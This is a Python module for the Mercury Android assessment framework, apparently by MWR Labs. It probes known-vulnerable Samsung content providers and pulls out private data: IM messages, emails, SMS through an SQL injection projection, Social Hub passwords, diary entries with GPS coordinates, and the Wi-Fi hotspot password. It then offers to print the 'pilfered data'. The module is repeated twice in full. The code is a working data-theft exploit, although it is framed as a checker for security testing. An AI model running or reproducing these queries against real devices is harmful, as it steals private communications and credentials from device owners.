from merc.lib.modules import Module


class Samsung(Module):
    """Description: Content provider vulnerability checker for Samsung devices. There are updates available for all of these vulnerabilities, so update your firmware!
Credit: <NAME> - MWR Labs
        <NAME> - MWR Labs (channels SQLi)"""

    def __init__(self, *args, **kwargs):
        Module.__init__(self, *args, **kwargs)
        self.path = ["exploit", "pilfer", "oem"]

    def execute(self, session, _arg):

        vulnlib = []
        vulnlib.append({'label':'Instant messages from IM','packageName':'com.sec.android.im','request':{'Uri':"content://com.tecace.app.convprovider",'projection':["_id", "accountId", "buddy_name", "message"], 'showColumns':"true"}})
        vulnlib.append({'label':'All device messaging from logs provider','packageName':'com.sec.android.provider.logsprovider','request':{'Uri':"content://logs/historys", 'showColumns':"true"}})
        vulnlib.append({'label':'All emails from logs provider','packageName':'com.sec.android.provider.logsprovider','request':{'Uri':"content://logs/email_seven",'projection':["messageid", "address", "m_subject", "m_content"], 'showColumns':"true"}})
        vulnlib.append({'label':'All instant messages from logs provider','packageName':'com.sec.android.provider.logsprovider','request':{'Uri':"content://logs/im",'projection':["account_id", "name", "m_content"], 'showColumns':"true"}})
        vulnlib.append({'label':'SMS messages using SQL injection flaw in the "channels" provider','packageName':'com.android.providers.telephony','request':{'Uri':"content://channels",'projection':"* from sms--", 'showColumns':"true"}})
        vulnlib.append({'label':'Instant messages from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.im/messages",'projection':["_id", "contact", "account", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'Emails from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.email/emails",'projection':["_id", " _from", "subject", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'IM Password from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.email/dbprefs",'projection':["category", "value"],'selection':"key like 'Z7%PASSWORD%'", 'showColumns':"true"}})
        vulnlib.append({'label':'Social Network messages from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.sec.android.socialhub.unifiedinbox/messages",'projection':["name", "m_subject", "m_content"], 'showColumns':"true"}})
        vulnlib.append({'label':'Registered accounts from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.email/accounts",'projection':["account_id", "user_name", "provision_name"], 'showColumns':"true"}})
        vulnlib.append({'label':'Instant messages from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.im/messages",'projection':["_id", "contact", "account", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'Note entries from MiniDiary','packageName':'com.sec.android.app.minidiary','request':{'Uri':"content://com.sec.android.providers.minidiary.MiniDiaryData/diary",'projection':["_id", "location", "date", "longitude", "latitude", "picture_file", "note"], 'showColumns':"true"}})
        vulnlib.append({'label':'Note entries from Memo','packageName':'com.sec.android.app.memo','request':{'Uri':"content://com.samsung.sec.android/memo/all",'projection':["_id", "title", "content"], 'showColumns':"true"}})
        vulnlib.append({'label':'Note entries from PostIt','packageName':'com.sec.android.widgetapp.postit','request':{'Uri':"content://com.sec.android.widgetapp.postit/postit",'projection':["_id", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'General GPS Location from AccuWeather','packageName':'com.sec.android.widgetapp.weatherclock','request':{'Uri':"content://com.sec.android.widgetapp.weatherclock", 'showColumns':"true"}})
        vulnlib.append({'label':'Personal Wifi hotspot password from Settings','packageName':'com.android.providers.settings','request':{'Uri':"content://settings/secure", 'selection':"name='wifi_ap_passwd'", 'showColumns':"false"}})
        
        vulnsFound = []
        print ""
        
        for vuln in vulnlib:
            
            response = session.executeCommand("provider", "query", vuln['request'])
            
            if response.isError() or len(response.data) == 0:
                vulnMessage = session.color.green("Unsuccessful")
            else:
                vulnMessage = session.color.red("Vulnerable")
                vulnsFound.append("----------------" + vuln['label'] + "----------------\n" + response.getPaddedErrorOrData())
                
            print "Checked " + vuln['packageName'] + " (" + vuln['label'] + ") - " + session.color.red(vulnMessage)
            
        
        if (len(vulnsFound) > 0):
            
            print session.color.red(str(len(vulnsFound))) + " vulnerabilities found. Would you like to display the pilfered data?"
            
            if 'Y' in raw_input('[y/n] --> ').upper():
                for vuln in vulnsFound:
                    print vuln + "\n"
                
        else:
            print session.color.green("No vulnerabilities found!")
        
        print ""
        
        

from merc.lib.modules import Module


class Samsung(Module):
    """Description: Content provider vulnerability checker for Samsung devices. There are updates available for all of these vulnerabilities, so update your firmware!
Credit: <NAME> - MWR Labs
        <NAME> - MWR Labs (channels SQLi)"""

    def __init__(self, *args, **kwargs):
        Module.__init__(self, *args, **kwargs)
        self.path = ["exploit", "pilfer", "oem"]

    def execute(self, session, _arg):

        vulnlib = []
        vulnlib.append({'label':'Instant messages from IM','packageName':'com.sec.android.im','request':{'Uri':"content://com.tecace.app.convprovider",'projection':["_id", "accountId", "buddy_name", "message"], 'showColumns':"true"}})
        vulnlib.append({'label':'All device messaging from logs provider','packageName':'com.sec.android.provider.logsprovider','request':{'Uri':"content://logs/historys", 'showColumns':"true"}})
        vulnlib.append({'label':'All emails from logs provider','packageName':'com.sec.android.provider.logsprovider','request':{'Uri':"content://logs/email_seven",'projection':["messageid", "address", "m_subject", "m_content"], 'showColumns':"true"}})
        vulnlib.append({'label':'All instant messages from logs provider','packageName':'com.sec.android.provider.logsprovider','request':{'Uri':"content://logs/im",'projection':["account_id", "name", "m_content"], 'showColumns':"true"}})
        vulnlib.append({'label':'SMS messages using SQL injection flaw in the "channels" provider','packageName':'com.android.providers.telephony','request':{'Uri':"content://channels",'projection':"* from sms--", 'showColumns':"true"}})
        vulnlib.append({'label':'Instant messages from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.im/messages",'projection':["_id", "contact", "account", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'Emails from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.email/emails",'projection':["_id", " _from", "subject", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'IM Password from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.email/dbprefs",'projection':["category", "value"],'selection':"key like 'Z7%PASSWORD%'", 'showColumns':"true"}})
        vulnlib.append({'label':'Social Network messages from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.sec.android.socialhub.unifiedinbox/messages",'projection':["name", "m_subject", "m_content"], 'showColumns':"true"}})
        vulnlib.append({'label':'Registered accounts from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.email/accounts",'projection':["account_id", "user_name", "provision_name"], 'showColumns':"true"}})
        vulnlib.append({'label':'Instant messages from Social Hub','packageName':'com.seven.Z7','request':{'Uri':"content://com.seven.provider.im/messages",'projection':["_id", "contact", "account", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'Note entries from MiniDiary','packageName':'com.sec.android.app.minidiary','request':{'Uri':"content://com.sec.android.providers.minidiary.MiniDiaryData/diary",'projection':["_id", "location", "date", "longitude", "latitude", "picture_file", "note"], 'showColumns':"true"}})
        vulnlib.append({'label':'Note entries from Memo','packageName':'com.sec.android.app.memo','request':{'Uri':"content://com.samsung.sec.android/memo/all",'projection':["_id", "title", "content"], 'showColumns':"true"}})
        vulnlib.append({'label':'Note entries from PostIt','packageName':'com.sec.android.widgetapp.postit','request':{'Uri':"content://com.sec.android.widgetapp.postit/postit",'projection':["_id", "body"], 'showColumns':"true"}})
        vulnlib.append({'label':'General GPS Location from AccuWeather','packageName':'com.sec.android.widgetapp.weatherclock','request':{'Uri':"content://com.sec.android.widgetapp.weatherclock", 'showColumns':"true"}})
        vulnlib.append({'label':'Personal Wifi hotspot password from Settings','packageName':'com.android.providers.settings','request':{'Uri':"content://settings/secure", 'selection':"name='wifi_ap_passwd'", 'showColumns':"false"}})
        
        vulnsFound = []
        print ""
        
        for vuln in vulnlib:
            
            response = session.executeCommand("provider", "query", vuln['request'])
            
            if response.isError() or len(response.data) == 0:
                vulnMessage = session.color.green("Unsuccessful")
            else:
                vulnMessage = session.color.red("Vulnerable")
                vulnsFound.append("----------------" + vuln['label'] + "----------------\n" + response.getPaddedErrorOrData())
                
            print "Checked " + vuln['packageName'] + " (" + vuln['label'] + ") - " + session.color.red(vulnMessage)
            
        
        if (len(vulnsFound) > 0):
            
            print session.color.red(str(len(vulnsFound))) + " vulnerabilities found. Would you like to display the pilfered data?"
            
            if 'Y' in raw_input('[y/n] --> ').upper():
                for vuln in vulnsFound:
                    print vuln + "\n"
                
        else:
            print session.color.green("No vulnerabilities found!")
        
        print ""
        
        

Description: Content provider vulnerability checker for Samsung devices. There are updates available for all of these vulnerabilities, so update your firmware! Credit: <NAME> - MWR Labs         <NAME> - MWR Labs (channels SQLi)